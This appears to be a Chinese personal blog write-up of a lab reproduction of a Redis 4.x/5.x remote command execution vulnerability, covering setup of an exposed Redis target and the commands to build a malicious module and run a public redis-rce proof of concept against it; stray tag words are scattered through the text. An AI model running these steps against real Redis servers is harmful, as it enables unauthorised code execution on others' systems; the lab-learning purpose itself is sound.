Redis远程命令执行漏洞复现

本文首发于个人我的博客,记录了我在实验室学习渗透测试所作的第二个漏洞复现,所有过程记录在此,以便后续查看,同时也但愿本文能对您有所帮助。python

同时,若文章有什么错误,请到个人我的博客进行核对,或者请在评论区告知,谢谢!git

前言

Redis简介

Redis是一个高性能的key-value存储系统,支持多种value类型,提供了Java, C/C++, C#, PHP, JavaScript, Perl, Object-C, Python, Ruby, Erlang等客户端。github

实验环境

  • 攻击机:Kali 192.168.227.128
  • 靶机:Kali 192.168.227.129
  • 影响范围:Redis4.x、5.x

靶机安装Redis包

  1. 下载Redis包:redis

    wget download.redis.io/releases/redis-4.0.11.tar.gz

  2. 解压安装包shell

    tar xzvf redis-4.0.11.tar.gz

    当前目录下会出现一个名为``redis-4.0.11`的文件夹。bootstrap

  3. make安装curl

    进入文件夹,在usr/local/redis目录下安装redis:性能

    make PREFIX=/usr/local/redis install

    以后命令行刷屏,等待一会后,出现以下提示,安装结束:
    学习

  4. 检查安装是否有问题测试

    安装命令行提示,输入:

    make test

    等待一下子,若出现如下提示,说明测试经过,安装已完成:

  5. 拷贝源码中的redis.conf到/usr/local/redis中

    cp /redis-4.0.11/redis.conf /usr/local/redis
  6. 修改redis.conf

    进入/usr/local/redis目录,打开redis.conf,作出如下修改:

    • 找到未注释的bind 127.0.0.1,并注释掉
    • 修改protected-mode属性为no(可经过IP访问)
    • 修改daemonize属性为yes(标识redis之后台方式启动)
  7. 服务端启动服务

    进入/usr/local/redis/bin目录下,执行以下命令:

    ./redis-server /usr/local/redis/redis.conf

    结果以下:

  8. 启动客户端链接并测试

    一样在bin目录下,执行以下命令:

    ./redis-cli

    结果以下:

攻击

攻击机中须要下载RedisModules-ExecuteCommandpoc

  1. 下载RedisModules-ExecuteCommand

    git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

    而后进入RedisModules-ExcuteCommand目录,直接make编译:

    make
  2. 下载poc

    git clone https://github.com/Ridter/redis-rce.git
  3. 复制

    将RedisMoudules-ExecuteCommand/src下的modules.so文件复制到poc目录(redis-rce)下。

  4. 安装须要的库

    我在运行redis.rce.py时,提示我缺乏six这个库,须要pip安装。首先安装pip:

    curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py

    安装完成后,当前目录下会出现一个get-pip.py文件,运行后就可使用pip了:

    python get-pip.py

    而后就能够安装须要的库:

    pip install six
  5. 运行poc

    在redis-rce目录下,命令行键入:

    Python redis-rce.py -r 目标机ip -L 攻击机ip -f module.so

    结果以下:

相关文章
相关标签/搜索